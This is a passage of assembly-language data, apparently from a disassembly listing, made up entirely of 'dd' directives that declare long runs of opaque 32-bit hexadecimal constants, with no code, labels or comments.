		dd 130380C0h, 0D3B7B1D6h, 0A7040600h, 0B529DD41h, 28576666h
		dd 0BF0418EAh, 0FFF8F2E6h, 9A776480h, 177D0020h, 9C2C8470h
		dd 33006415h, 1271CC72h, 522D7Fh, 9A9EEDD6h, 49396841h
		dd 0F4C73A04h, 4DC728A8h, 4B233E70h, 32AF0E7Ah,	9980C6F0h
		dd 6516C153h, 77701B00h, 273E0D09h, 6D0B0088h, 6834817Dh
		dd 0B0075774h, 42D79C28h, 0A95AA2C0h, 56BB1EE0h, 60794FB8h
		dd 3B4CC800h, 405283Ch,	9822EE24h, 20406F87h, 6389B7h
		dd 0F4BD03CEh, 0F246AC2Bh, 9E01F33Eh, 410FE6F6h, 88FA20F5h
		dd 7872E128h, 671C0583h, 10F055Ch, 6627F4D8h, 7610833Eh
		dd 0D04483EDh, 2BB3701h, 531218FEh, 0B8481A8Fh,	1979F8BDh
		dd 0B184FA50h, 3011BEEh, 1C2C380Dh, 5FE86E61h, 0F333146Ah
		dd 7400BC51h, 261A5997h, 931668B5h, 0D801F4AEh,	75287231h
		dd 28809E61h, 8514792Ah, 9A0732FBh, 0F0E22D29h,	0E0308E99h
		dd 7C7B5288h, 949E00DCh, 2B2AE0AAh, 35984F27h, 0F3E30900h
		dd 1982B731h, 0E8D03F23h, 13DAEE80h, 0C8038D57h, 80C3A43Ch
		dd 2E51A0BEh, 77B2B995h, 70C57C7Ah, 39BD00D5h, 6CAAC17Eh
		dd 0A9005DDCh, 0DDF19E9Bh, 4F59A0h, 0CDD5C0C8h,	2A5CB7B2h
		dd 97578C92h, 4D980390h, 0A872C131h, 0ACD6C6h, 0B5E6A8Eh
		dd 191C6770h, 1E72CFFCh, 0FCDAA700h, 902CE9A3h,	635A0951h
		dd 8C809104h, 61EB8780h, 31C7E4Ch, 1A3E9D4Fh, 0A46E000Dh
		dd 3FFB9C39h, 1101A9B8h, 67C12A5Dh, 443498F8h, 9046008Eh
		dd 514C83D8h, 5F09A968h, 5AB9B8h, 67F46F60h, 0C914C12h
		dd 9C39300h, 9B7BAA70h,	863A2270h, 204A008Fh, 2D285C8Bh
		dd 8620C76h, 6C1088EBh,	7F3F94B8h, 2F5600C5h, 40E9E80Fh
		dd 0E3DA0143h, 3516C002h, 3DC49C0Ah, 5A678D40h,	62C26A26h
		dd 827CA89Ah, 28A1CC68h, 347FAB00h, 76E5F9AEh, 0F618B8B2h
		dd 90988Ah, 71F75C62h, 170D205Dh, 0F92B6F07h, 0AC05B1Bh
		dd 287014h, 0DC916EFCh
		dd 0B3FDF3E9h, 842E0224h, 7C00F492h, 0FBE5D8F7h, 0CE1C0B57h
		dd 0D48096DAh, 2C82445Bh, 0C3AB6905h, 0BC000A93h, 0E059B0Bh
		dd 0FFE200B4h, 3335D3CBh, 6F3AD86Eh, 671E00DBh,	342539C6h
		dd 1A5C0079h, 3AADD2BAh, 66077ABBh, 1997592Fh, 9F3104C0h
		dd 0F3EC396Ah, 0AB829380h, 0A1DDBFF0h, 54FC66EAh, 0D17C20FFh
		dd 753AC000h, 0C63F41D4h, 0F6E02ACh, 42B535ABh,	0DCF5C140h
		dd 0F05FE018h, 0EF89E0h, 1BAD975Dh, 1331A7Bh, 0F215200h
		dd 0C828EFAh, 0E69E0AD1h, 0D5DE4Ch, 0F2F3F7E7h,	0AC1C55B5h
		dd 3000CBD9h, 0DABB8A0Ch, 68060093h, 549EFCF1h,	0E006656h
		dd 50E92170h, 7DE1CCh, 4D3E2F9h, 25EEFA9Eh, 85A848h, 0CF865CB9h
		dd 0E7F4BEh, 0CD34EA52h, 0F9D446FCh, 5224F00h, 8D021181h
		dd 1B410BF1h, 0E498E33Dh, 7C00E16Fh, 8ABEC97Eh,	0F8C49B09h
		dd 69F600F1h, 76247579h, 2998318Fh, 0BE17A000h,	323357D5h
		dd 4F7388h, 0AC768D9h, 0F18FAA95h, 5E2FA81Dh, 0E1C58039h
		dd 0E449ECBEh, 90B021Bh, 3DFABD46h, 8F89D840h, 1145F40Bh
		dd 0FF28AFCDh, 10020566h, 48049161h, 2EAF28E4h,	51B93Ah
		dd 8781C2FAh, 10016D8h,	0E6D6F1D5h, 0FB396h, 52242ED2h
		dd 1864719Dh, 6A3CD003h, 98E47E59h, 2AA128h, 0E06E2910h
		dd 9FADE955h, 612C1200h, 4A25506Dh, 0F3B0C14h, 36A04575h
		dd 1E0A3400h, 6FB1FD33h, 1B14BAB5h, 0C02BF50Eh,	2ACCAFC0h
		dd 4B9841Dh, 5737003h, 0E487E78Eh, 0CAA522C0h, 0F139000Dh
		dd 0EAD9B4C6h, 0CC009FE7h, 54091D46h, 1F4B150Ah, 403221F2h
		dd 0B42A0764h, 4963D870h, 0C8D4B960h, 60D328D9h, 70C3818Ah
		dd 69CAF95Dh, 0FA0F1004h, 19EA804Ch, 1323796h, 0E4DA5093h
		dd 80E79167h, 74A37E28h, 1A63B5h, 0E8D7CCD3h, 293816B4h
		dd 5EECB900h, 0DCA652A7h, 3DF00B01h, 0FB072EABh, 0F649C0EEh
		dd 0B42C2D63h, 7C00744Ah, 0F523581Eh, 795B1F45h, 6E8B09BDh
		dd 0E1DB6607h, 0F908CFA9h, 76EBC066h, 0FD10C900h, 2233B651h
		dd 0B4DD0017h, 2F2E6EABh, 0EC0067BAh, 69572C15h, 5AAAF9h
		dd 79804066h, 6C56D009h, 0D5942300h, 0F13A3370h, 3FF27Ah
		dd 0CBBF3C84h, 0D7307D93h, 8F4F030Ah, 68809485h, 948BC575h
		dd 9D651DE5h, 0C340AF72h, 0EF0047CDh, 7C835114h, 0AE32197h
		dd 33F0C1C4h, 934280ECh, 47AA1A6Fh, 1019179h, 371973CAh
		dd 619DB633h, 0ABDB00ACh, 78B18123h, 18842931h,	8BE07ADEh
		dd 897B3BF6h, 3031C072h, 94173E44h, 13E7CF0Eh, 8C8C00Bh
		dd 7B134D6h, 0D47A5EC5h, 47D419h, 14F83A89h, 0FE267678h
		dd 23FE4D9h, 91B531DEh,	5F4127D0h, 954880D5h, 0D9875053h
		dd 6C71C3B1h, 0C8B8AABFh, 730C6468h, 595A161Dh,	6B561D06h
		dd 0D2A00A8h, 7D67FA0Bh, 9883CF3Fh, 0A3C099B4h,	71EE58ACh
		dd 1D864600h, 87081332h, 88818501h, 144B3389h, 0A97A1180h
		dd 0E6D9BF57h, 58D55400h, 0D737E9E7h, 752C90E5h, 895600D8h
		dd 171C104h, 8500598Ch,	6D38D2D6h, 38091029h, 2160889Fh
		dd 6165F5BAh, 63036600h, 19A998FAh, 0BE0E0016h,	4AE86731h
		dd 5B0F0170h, 2DB0CFh, 6B689C99h, 0DF3501CAh, 53C9F28Ah
		dd 43D1FC5Bh, 6C187A03h, 7CB6E838h, 0F1A7960h, 92B4EC5Dh
		dd 28A96D61h, 80308045h, 0E3B94C1Bh, 2C3F0CEDh,	8411E0CAh
		dd 9208C200h, 0DF3CF14Bh, 1418C0EDh, 606D9FF4h,	44A3F01h
		dd 8CD982C2h, 0A64C4080h, 0F7AA9796h, 77A71300h, 6EBC9411h
		dd 75F23ECEh, 661092h, 0DBD13764h, 930CD2B6h, 40C8F858h
		dd 55B90088h, 5F721E26h, 0C90EF007h, 0A0738B05h, 0C4EF2869h
		dd 0F289C3EBh, 0B916416Dh, 191C3D40h, 7B46A383h, 0EA34C1EFh
		dd 88582883h, 0E4E82A6Dh, 3F072C6Ah, 82FEF2F7h,	81B10430h
		dd 36BE4BDh, 0AB6A0141h, 0BEE8D185h, 0F5002155h, 6F4F82CEh
		dd 0F8D0A30Fh, 386B60E9h, 0DC27B777h, 0F5B8941Eh, 0AB555100h
		dd 0C4B175Bh, 3B36F0D6h, 21C0A708h, 0E8AB4E8Fh,	968701A3h
		dd 80950984h, 0BEACFD1Dh, 1402BA58h, 7D4CCEF9h,	35556803h
		dd 0C010A00Fh, 0DF7032h, 4DE82CDh, 41D5CC23h, 7D079401h
		dd 6C8AEB6Eh, 0F2661080h, 0BFE423F7h, 48B521C0h, 3E7DFF83h
		dd 0D580BC36h, 0C03C442Eh, 3B39EEE8h, 762500D1h, 969ECE03h
		dd 1B1C0080h, 2A7FF70Ah, 6700D909h, 59CC9202h, 0F65778BEh
		dd 0C9D5007Dh, 0C3A98FE9h, 911FB7ACh, 0FBEBE5h,	0BC95D45Ch
		dd 2E2761CBh, 602080h, 799F3C0Ch, 0FF04BF25h, 0A1941EFEh
		dd 4D7AB1C0h, 0C8400F2h, 0BFB6DD6Dh, 4C3E2AF9h,	0EC5780A0h
		dd 0F1268CE7h, 7412732Dh, 888907F0h, 0B006AF3Bh, 69F48367h
		dd 98485E1Fh, 0C947AECFh, 8585808Ch, 19787570h,	877F14Dh
		dd 83AE0EF2h, 87EE5D9Ch, 856B90C0h, 229A00B6h, 4BC56E5Ch
		dd 3200A4EAh, 139C0D4Dh, 19B05615h, 29E0B793h, 20DD0820h
		dd 0F742480Bh, 21FB8C11h, 77F30C04h, 7184BB51h,	6FA888F7h
		dd 1169938Bh, 110F5F29h, 6C28F93Dh, 0C83A7028h,	84EC379h
		dd 28D0BBF5h, 29036446h, 90D52127h, 116CD411h, 798844C6h
		dd 988812EBh, 29F89AE3h, 17655F60h, 5E3BE600h, 33E0AE60h
		dd 0D07019h, 0E9921B51h, 0F5131A64h, 26851000h,	0A16C660h
		dd 86F46Ah, 98BB611Fh, 0B0096307h, 30548E00h, 0D38B51EEh
		dd 749D0012h, 2C87909Fh, 0A500165Ah, 3968DBFEh,	3D9ACD0Eh
		dd 0F93BA626h, 22469B00h, 778E8998h, 48C9F600h,	5C45D60Eh
		dd 0E29500B5h, 0E81ADEA7h, 18EEEB8Fh, 6B26690Eh, 5DD2A022h
		dd 76728163h, 849000F7h, 4CDA75B9h, 0CB0C7B1Bh,	46D15247h
		dd 0E25F0007h, 8275BCE1h, 0F008668h, 990DAFC6h,	0E347C0h
		dd 27495245h, 40971AD0h, 0FE65C06h, 0F3307460h,	526DD0h
		dd 0FCFD1D8Eh, 59A3EF2Ah, 30380E00h, 27EB8C47h,	13281784h
		dd 2C3B0E5Fh, 91E5E444h, 804ACA54h, 0E0A823D4h,	0A73140h
		dd 6240C1Eh, 17D32153h,	0F76FCF18h, 0B0D4B5E0h,	9D630724h
		dd 8CE2AD52h, 310379A8h, 3A0880A3h, 8E91C940h, 3C2BECh
		dd 0FA8AF119h, 17C4594Ch, 0A4D03803h, 0F09299C6h, 9345A2h
		dd 72DBD43Eh, 828B5C2Fh, 0A4476424h, 5AE61800h,	0AC6056h
		dd 30C1960Ah, 6E1DD739h, 4B2CD500h, 10D63D87h, 8E0A00C6h
		dd 58463A82h, 0F91D1EC8h, 0D3472FECh, 11603D94h, 9A112CBh
		dd 1D4E8859h, 37DC2E00h, 4F00F781h, 0E8542017h,	66676Ch
		dd 987FD194h, 0CB2E8BC2h, 0C8035270h, 3DFB6BFCh, 0E8BFF3EBh
		dd 0A50A18h, 41720F7Dh,	625B6A64h, 5891161Eh, 8BDDE440h
		dd 0E0C5A71Bh, 1E847E56h, 40EF5F0Dh, 7C076885h,	72014148h
		dd 6C9453B6h, 2AC4A6D2h, 7D3F00ECh, 0C4213882h,	8738CCF1h
		dd 7CDE8028h, 7ED33E08h, 689900A1h, 344F6F03h, 0AD007680h
		dd 0E778B0B6h, 2E753FCEh, 0E554AAh, 0E2872374h,	0BE004B81h
		dd 0AEED782Bh, 0D8B7CFh, 0BDA1FFC0h, 45957A64h,	0F0C61730h
		dd 0AE0B96h, 49207E52h,	6BB1F957h, 952C8E01h, 5E94E4A4h
		dd 202052E1h, 0FD22004Ah, 46C3CBC2h, 5A0E4338h,	6085BFC8h
		dd 1F4A3339h, 3CC100FCh, 2DFDB80Dh, 0DB1C7108h,	0FEC34125h
		dd 0B87E092Eh, 9F13DC5h, 3A6B0698h, 0D613D800h,	0A91F3843h
		dd 3443F27Eh, 90A7015Eh, 24F15D55h, 0FCB9E6h, 857F72B8h
		dd 64001AA0h, 0F7928E05h, 24F53F68h, 1E1CFC7Ah,	0AFF44001h
		dd 0A51315F0h, 0CB10BA00h, 2D479AADh, 0AC6C1C56h, 95F980D1h
		dd 0B4280E97h
		dd 0FDC2D300h, 0AD185B37h, 0E3890088h, 0CF1530F9h, 0BC122BCCh
		dd 0CC0EF86Dh, 0BE902093h, 36FEAFEh, 0A20250FDh, 20B6DDE0h
		dd 558D3E00h, 0D338B377h, 0FA0D38F5h, 0B7780778h, 0B6A91C3Ch
		dd 5300A809h, 24FB15Dh,	0C07AA6h, 0F906E035h, 3D4B64C4h
		dd 0E40838h, 0F372B6ABh, 1277547h, 6091878Ch, 0D1A1A622h
		dd 58C02ED9h, 1E2559CAh, 980AEBEh, 8A5D6312h, 0BA0079DFh
		dd 2D1706A2h, 2BCB072Fh, 5E4D3EC4h, 7776200h, 0B57A434Bh
		dd 0CF1DE600h, 2A0E6E92h, 9672008Ch, 0DDC417DCh, 8098DF54h
		dd 0D3FE0C78h, 8EDAD600h, 6B74D151h, 284300B3h,	848227F6h
		dd 9825A575h, 0AA0460C0h, 39810A05h, 9061AEh, 0A6ED9FF7h
		dd 0FD079699h, 0B3B28F2Ch, 0BA9ED870h, 728E0012h, 17FF0E83h
		dd 2179F2F5h, 0A939C107h, 201C11A2h, 74F24Ah, 0A31801C4h
		dd 0ED98A71Eh, 7533B800h, 258B1678h, 0F2D4EC13h, 8C9700ECh
		dd 0F73C527h, 1600EF36h, 0A6C6248Eh, 784CA3h, 6CE4544Eh
		dd 0C74FABDAh, 0E57C5278h, 5ADD939h, 6FBD8F0h, 4D3C1C80h
		dd 0FF71DCCh, 37BC0709h, 0ADB310D4h, 260219ECh,	5BC75496h
		dd 33F080FFh, 774D836h,	4F76DC50h, 0ACB46FA6h, 0EBE491Fh
		dd 3AA093C7h, 0F3CAE165h, 0A33E7103h, 993B8612h, 0FEF834DFh
		dd 91FF005Fh, 2CCCE7A4h, 2B0FE90Eh, 0FD7A7BB4h,	96B9B89h
		dd 0E0302ECCh, 0E6CA310h, 0E0C40EA1h, 0C0DC9574h, 0E81D4331h
		dd 2B00079Fh, 99E70AC7h, 9BCF04Ch, 469FBE6h, 13302A00h
		dd 3A79AFA7h, 0A4D5E100h, 6FBCC026h, 0B0C3776Ah, 3DC0C71Bh
		dd 9EE0AE12h, 0BB3CCE91h, 40336F0h, 0DC1F931h, 0D22900AAh
		dd 9ED4295Bh, 0AE0309C2h, 7A316C95h, 20F0C88Ah,	5DA400B0h
		dd 141CB42Dh, 0DB0BC3A9h, 32B56822h, 60B26018h,	0E5F8041Ch
		dd 8094477Ah, 5B9EBB24h, 2C393B1Eh, 4305DD87h, 0C54578B1h
		dd 7180A20h, 7031D46Eh,	0A0E0AFB5h, 9CB2ACC3h, 0B9AADC00h
		dd 31E96C18h, 88151FF8h, 0D037C13Eh, 0C4A3796Fh, 57002668h
		dd 9533CCD3h, 9067CEFEh, 15760018h, 8DDBA93h, 0F8BF398Bh
		dd 0BE2D0F55h, 22401E6Bh, 0C49178F6h, 81A8651Ch, 0F36E2E40h
		dd 5825E390h, 2D00E804h, 1513848h, 8F008ABBh, 97EB9614h
		dd 984B5F5Dh, 0B7E79B4h, 8D5909E9h, 668FDDh, 0D65303F7h
		dd 7CEF0E4Ah, 0A008C93h, 50AB4942h, 6875CC00h, 0B0477FFEh
		dd 0FD600B5h, 3CB9FC69h, 0A826BC21h, 1F00B432h,	2F3D9C02h
		dd 0F46C0762h, 0D0F0814Bh, 286FBE08h, 8073443Bh, 260FA07Ah
		dd 0B60B4Eh, 0ADCA3A2Eh, 60EFE052h, 0D16FBF01h,	0D4DC6635h
		dd 909B21E8h, 0B3B000F8h, 0A313CF58h, 0A4001140h, 8F238B29h
		dd 833691h, 1D352A4Dh, 3FE33328h, 68389517h, 97404A1Ch
		dd 0B10692C0h, 0D3A00CEh, 73D684A5h, 0E33EF335h, 489A3050h
		dd 0BDA3AEh, 0BE53CE26h, 3A9D5601h, 0CB8A2300h,	0E22757D4h
		dd 0E0AD1672h, 356F0077h, 2F140CB6h, 59A54100h,	5EE83823h
		dd 81220078h, 8BB4C83Ch, 38C018EBh, 2D4CD9B3h, 368E000Fh
		dd 214AB7A0h, 0B61F96D1h, 8A16C9CAh, 4063EE0Eh,	802A3DDEh
		dd 7466008Bh, 9BADAACBh, 0F03EE34h, 2529EF5Eh, 0CA5900AFh
		dd 0E84D0743h, 4E018797h, 0E9F28EC6h, 29D0A0D8h, 0E2F900A5h
		dd 0CAF5FE7Ch, 8B1F56F7h, 0D6800916h, 12F0173Eh, 75A427F3h
		dd 0AEA086F8h, 0EB148F29h, 900BF9h, 7D364384h, 0EA23C1AFh
		dd 0E94100E6h, 0F3B84FF2h, 44B806BFh, 6D6B1400h, 0FED9168Eh
		dd 0A3423BD7h, 1DE24817h, 87A485ECh, 0D0B00089h, 39EDDA51h
		dd 0F3A58E00h, 0BFBE38CCh, 8FFE0091h, 0BC96BAA4h, 58904FB6h
		dd 0C10CD600h, 0A17E171h, 5CD77883h, 0DC00A1CFh, 0DD58775h
		dd 89868C0h, 88E9B102h,	40326D35h, 5CEA8EAEh, 3C002B7Dh
		dd 7A54F39h, 764840B3h,	0BAE70B58h, 0DF0C9237h,	0E545F00h
		dd 7138AE2Bh, 0FEEBB84Bh, 50D07601h, 0E1CF17EDh, 775FFCh
		dd 1CCAB072h, 0C6A90274h, 0F867F230h, 987046h, 0C0E7C1F7h
		dd 0FFBF14F1h, 0ABCB5F00h, 787B9E42h, 0ACA9500Ch, 39480074h
		dd 0DDFD222h, 651FF2CEh, 82403B1Bh, 138D0668h, 17CC387Eh
		dd 0FC13D00h, 0F5DE6DC5h, 0D6369600h, 0B3B59156h, 449907F9h
		dd 84CB8EEEh, 808CC4F0h, 0DE199FE4h, 0FEA80E00h, 718960E2h
		dd 7F1F006Bh, 24F57287h, 0C270A609h, 4BD85401h,	0D670BB63h
		dd 216C60h, 0F3E6BFDh, 0D4A117F7h, 7BF2DB00h, 3C1B9EEBh
		dd 287E006Eh, 4D8F958Bh, 5000B61Eh, 0B285CED1h,	264BB886h
		dd 0AC61B7h, 0C1F2CD30h, 4A03F7E2h, 0D3CE3E27h,	58101EC5h
		dd 8385413Ch, 0F47DA14Fh, 110010C2h, 99614D25h,	5014E8h
		dd 3E3F5681h, 456F6786h, 4D8DA800h, 3B58D0A2h, 2DF400F5h
		dd 0B235B90Ch, 0B801B4C1h, 0E355AC2Ah, 67F54E3Ch, 0E6779C70h
		dd 3B88027Ah, 315445D4h, 0D7F5037Dh, 1481ED89h,	0D8EC0CECh
		dd 0F70A00F4h, 8B344A69h, 0B000BC0Dh, 0ACCAB241h, 6094B6F0h
		dd 0C4CC3031h, 0FB4861D6h, 44EC739Ah, 59D73516h, 0B50B6900h
		dd 1DBE5E83h, 0D95441h,	0C7FFC88Bh, 74018284h, 47E54E39h
		dd 40802CF8h, 0CE1B942Fh, 0A001176h, 7174B56Dh,	1544F41h
		dd 66127A77h, 0ECEF4BE4h, 0B7E8997Dh, 0AC5BE024h, 0CA0AD007h
		dd 0F2C726A4h, 0C26A5F20h, 3BBF2BFh, 0AC9BD8DDh, 86B0B898h
		dd 1C981913h, 41836E00h, 0A4E53AC1h, 29CA00CBh,	0F40196B6h
		dd 90986557h, 0C181AE00h, 0B432F8A2h, 79D018Ch,	750EC479h
		dd 4ECCF0CEh, 83094BEAh, 8F36E05Ch, 0DA47C034h,	2CA93BEh
		dd 31F26DB2h, 0A8592A82h, 80D8F614h, 6DB7A6B3h,	8223008Fh
		dd 2088FA54h, 0FF00A9D9h, 280CFC90h, 0A2E880h, 4BBA3B01h
		dd 0B4B013F7h, 807D1F3Ch, 48F5C8B3h, 7FFDC4h, 4AD3493Ch
		dd 7A6E0B18h, 4DB42A05h, 7DC012F2h, 2C21CFh, 0A10D6D17h
		dd 3326309Ch, 0C6B9300h, 76B21102h, 6DD00FDh, 192E8468h
		dd 0D7012CF1h, 2F796931h, 91ECEB15h, 90AC00ABh,	0E9D6D0BDh
		dd 457382EAh, 61B2AE00h, 0B05EEB54h, 0C3600FDh,	11BC2772h
		dd 0DB0046C3h, 2899AE8Ch, 535AB4h, 3FFAC958h, 88442BF9h
		dd 0E4073C90h, 0ABF3D5B3h, 0E00B8A52h, 1245D1F4h, 14A086Eh
		dd 98B67688h, 8BDBE06Fh, 5551AD60h, 0B3A5A8h, 3D5B1350h
		dd 0DBB2738h, 4A00BDE2h, 0D155CB2Fh, 220EA87h, 0F3292B47h
		dd 78D8AC84h, 6E0097EEh, 27708B46h, 8C54AEh, 0CC1D9639h
		dd 0CB16F77Ah, 730083F6h, 3281B769h, 0D35668h, 1AA5EE59h
		dd 0A2FF1628h, 4B1E3B06h, 0EB8FA5Ah, 24D71FD8h,	1058B467h
		dd 0C1B8972h, 0FDCB1701h, 573E1D12h, 28617430h,	61BDB786h
		dd 66411059h, 108C2D1Ah, 2F8126A6h, 60E6B3D6h, 5700B728h
		dd 7A55F354h, 1AB8151h,	0C7E02C36h, 407B30A8h, 83D17EFCh
		dd 501F142Ch, 0AA061926h, 7F40C6F0h, 1040533Bh,	43DFA01Dh
		dd 34305612h, 746D1080h, 8B203B1Ch, 9FB5AF45h, 0D62CB800h
		dd 4A21B87h, 9CA9BDD1h,	0CCD880EDh, 0FA006C76h,	0D81DEE09h
		dd 0EE8587AEh, 0FFCB0127h, 0AAB0EB9Fh, 48C7019h, 8B6D9B3Ah
		dd 80B99C43h, 7977531Ch, 30C1077Eh, 3057BA05h, 1E50E6F7h
		dd 16000B72h, 88354A8Ah, 2EBC816Ch, 9C0225h, 5C7FEDF2h
		dd 8C3CFD8Bh, 9F770048h, 2F295AE3h, 36EA96h, 0C93D25A9h
		dd 88D23341h, 6FB1E000h, 8D2C480Bh, 0EE60E306h,	0ABEE0046h
		dd 2DB61151h, 0F914733Dh, 0E8E039h, 220FD74Ch, 48D321AEh
		dd 0F100694Dh, 0BD1F87C0h
		dd 0E9005F91h, 0E4ED2405h, 7640B3Eh, 0CABEF75h,	0B482F2D9h
		dd 78DAF140h, 27767000h, 4FC56F99h, 0EF5938A8h,	0E6A7970Fh
		dd 0AC68B7C0h, 8F074EE8h, 3395B906h, 72DFC8B0h,	251B0088h
		dd 97D6344h, 5D3DE213h,	0E7E48011h, 3C4A17D0h, 580F3C34h
		dd 4C00183Ch, 5B46313Eh, 49F0D5E8h, 0EEEB5301h,	0E0B19FD1h
		dd 4CF7AAD4h, 0B20065A4h, 0F9A924EDh, 7E007012h, 0B904760Dh
		dd 30BF2ACh, 0FF99F1FCh, 6390FB42h, 92000CF5h, 0D5BEA8CBh
		dd 9389BCh, 1C373462h, 795A815Ch, 0B8035900h, 5E3E7B08h
		dd 7AD826DCh, 6A360007h, 959BA898h, 0F373DD00h,	0CB8AF841h
		dd 9D1E0035h, 5E1704FDh, 0A601EDB6h, 1677F151h,	508082C0h
		dd 3AFA6554h, 5D1D737Ah, 0F5C04839h, 38A7604Ah,	1C6A0EBBh
		dd 0E0034193h, 0E0B7A9E7h, 78C77F9Eh, 0C1157C18h, 0F42A4549h
		dd 0B91C0752h, 0F031ED66h, 2D0EF8B5h, 0E2046403h, 0C0637048h
		dd 2494A01h, 0F5372BC0h, 2CE0E5B0h, 0D0077E1h, 540BB564h
		dd 0E98DDCEh, 0B855F238h, 0C5049DE0h, 401F89DBh, 9700883Ch
		dd 42EAD571h, 29930013h, 21CCCD50h, 1401608Ah, 0FF11B2C7h
		dd 34E8A338h, 70903EDBh, 0C05DD980h, 7AE4CF5Ch,	0AF070890h
		dd 51829F38h, 6501A8A1h, 1DAE04CCh, 3C061073h, 0DEE44801h
		dd 0F4FC6751h, 5731B687h, 0EC5A88E0h, 0BAE85FD5h, 0F9798Dh
		dd 0FDFB73F2h, 0C6CB5CB5h, 0EFCF8A00h, 53D8E481h, 768901CDh
		dd 7505C7B8h, 4408200Bh, 0DA7A9500h, 9BAF872Ah,	81691D1Ch
		dd 401B1D25h, 936380A2h, 1700706Eh, 2F34D3C3h, 3714C9E4h
		dd 30B0B68Eh, 125ECF43h, 0C69EBB0Fh, 58CD00A9h,	0EAF4041Ch
		dd 344000B4h, 0F0EECF5Eh, 0FF001986h, 2B35C24Bh, 7E87FCh
		dd 33CCB644h, 73840165h, 60E560Fh, 0E93E41D9h, 0ABF416ADh
		dd 899A0002h, 1B18902Ah, 88E88330h, 0F35E38h, 9B3D4C93h
		dd 12CAA169h, 480C10h, 0E91C0420h, 113BDBFFh, 43F8851Dh
		dd 2787403Ch, 1BCDE35Fh, 0C23FC844h, 77750009h,	24B4A3BFh
		dd 0AB7FF6B3h, 82C48F00h, 6FAF0AF9h, 0CAEF0067h, 3C45231Ch
		dd 8AE60CC5h, 139E2700h, 969DA5F5h, 0E0977A3Eh,	90E250B7h
		dd 46B10035h, 3C389907h, 1F001878h, 0B7026319h,	4CCEA2AFh
		dd 0E8032892h, 0FD77EFA9h, 2AA4D08Fh, 4548FA04h, 5659002Dh
		dd 1D76F099h, 6F60068h,	55BC966Bh, 87006A91h, 0F518B45Ah
		dd 0ED508AAh, 0A93BDAD2h, 99B9E660h, 0F090F83Eh, 6E025700h
		dd 0D284AC23h, 8EEF3FE3h, 4FA0B780h, 8BF5B050h,	7AC36900h
		dd 0AAC7585Dh, 0C1E32473h, 3E2900DFh, 9A11B579h, 677D5901h
		dd 1CA607EEh, 1CFE4ECh,	0D3E1B238h, 0E07E990Bh,	0E300C040h
		dd 7DFC14D5h, 1B53DD0h,	9D536EE0h, 24467839h, 9C00E2D8h
		dd 33477736h, 3FEC4D7Dh, 48FA854Ah, 1725075h, 0F2FC615Dh
		dd 4054674Eh, 690E20B7h, 34E22826h, 0F7129828h,	3D006238h
		dd 86336DD9h, 40900D0Fh, 0B6DE2Dh, 0D06E7AC4h, 0B0BC2228h
		dd 2EB1A509h, 0DBA4030Ah, 440991FEh, 40763F8h, 0B2B9318Bh
		dd 0DB49194h, 0FE1F6055h, 0DACC7C03h, 0CD85AB0Bh, 8CB55FC0h
		dd 0FBD202D1h, 0DB3CFD8h, 0E7A06860h, 0B68A0100h, 0ECE47A62h
		dd 35CA0067h, 9D60DE07h, 8D1F5971h, 47400216h, 0BB0FDB9Fh
		dd 2AD0C0E0h, 0A250DDC2h, 2BA9F905h, 0DEC3E814h, 0F80C466h
		dd 9DD3A4h, 462FAB6Bh, 2C030E7Ah, 0D8D73830h, 0F6A4D8D2h
		dd 0C9D11268h, 5BA84974h, 66CD7C00h, 0E201C5B2h, 26D4257Ch
		dd 0D7E31A57h, 69E50EC0h, 0E1131F9Ch, 318F3EB1h, 9A07B7FEh
		dd 0C0B610B4h, 8900968Fh, 0F0FB88D8h, 3083462Dh, 0BA283FEFh
		dd 81EC711h, 6E1E5F19h,	0CC50CD40h, 7389A8Ah, 0D9424FC4h
		dd 9083B0B5h, 6C0E331Eh, 0EF40780Dh, 6B1C6121h,	0A8805EFEh
		dd 83D58965h, 0B01A6F8h, 42ACC981h, 0C9808D7Bh,	0E6873450h
		dd 720A4178h, 0F06A09C1h, 5B6CE400h, 1282CAF7h,	4B25AFF3h
		dd 0B200B81Ch, 6E8EE7C9h, 0AB588604h, 0CEE7CE8h, 0EAC033E6h
		dd 5A5FDE02h, 64019244h, 792E1DA8h, 0FBF5C011h,	0D5A80FE5h
		dd 24022177h, 3EAD3D86h, 2BFC80C3h, 370027Fh, 8DC246E3h
		dd 91A909B2h, 403061BAh, 6F2C1D64h, 0C5F5E305h,	738772DAh
		dd 0FBB8F170h, 6C8A047Ch, 80E13782h, 0B25F7EE8h, 579E1000h
		dd 1DB30374h, 7DE0C366h, 0B89B871Ch, 9DD7C0D5h,	0CE001E63h
		dd 0D0668CFh, 3D91583h,	0B07D9C3Eh, 0AFC001EAh,	8200A13Dh
		dd 23BAA2BFh, 0FBB330h,	52C26480h, 3CF47D91h, 0BDD6E00Ah
		dd 2D02A406h, 801CB8E6h, 0DBCCB3B5h, 0AF1B0107h, 0F20604E3h
		dd 0D5AC4814h, 5CD01C24h, 0C8CC8B80h, 16A6A039h, 0E830F29h
		dd 0E40099CCh, 0EC28FDB9h, 19915130h, 762072D0h, 0BA4018Ch
		dd 0E0E67C63h, 85E880DEh, 865869C5h, 1E2A008Dh,	5CF98F1h
		dd 9C48C978h, 0D4AF0028h, 8AF536B8h, 3165005Dh,	0EF3AE5C6h
		dd 0E8A31D67h, 790C34B0h, 0E4D958h, 60F759DDh, 362630Fh
		dd 231F266Fh, 210FEB1Bh, 800918E4h, 1936D80Fh, 3BA0E045h
		dd 0CEA4ED82h, 720D02ACh, 24C0DA3Dh, 8A482520h,	0CB931672h
		dd 62325400h, 0FEA052h,	67CFA580h, 23770816h, 0B4F0C5F2h
		dd 43657402h, 0E0CDCE2Ch, 0F52859Ch, 497ED418h,	3EDE58A0h
		dd 0CF002273h, 875663CDh, 3C5CB8Ch, 165D8445h, 1A5C296h
		dd 925E6EFDh, 40BC3115h, 97EB758Fh, 433DC700h, 25738C76h
		dd 0D8C0009Ah, 74820C39h, 0DAEE2326h, 733FD0Bh,	0D2007FF4h
		dd 3DEFAD2h, 0F501E970h, 328B9018h, 58207E72h, 5F9500F0h
		dd 1687F1FCh, 0EB075781h, 0B1541431h, 6EE01EB7h, 0C8B2A5h
		dd 0A271E8EDh, 0F469D1C9h, 6A13AE1Ch, 0B79EB0C0h, 1E6D293Bh
		dd 15E8B66h, 0B905CD09h, 69518280h, 8F6FDF92h, 0EA813EE4h
		dd 0DBE2394Ch, 22E54421h, 0B5BD4h, 78D6FAA1h, 95CEB061h
		dd 7B50263Dh, 3E3BE8B0h, 82F200C8h, 499E252Bh, 551400DAh
		dd 9AA51AABh, 3948928Ch, 0E020322h, 0F835CDF0h,	27A90E1h
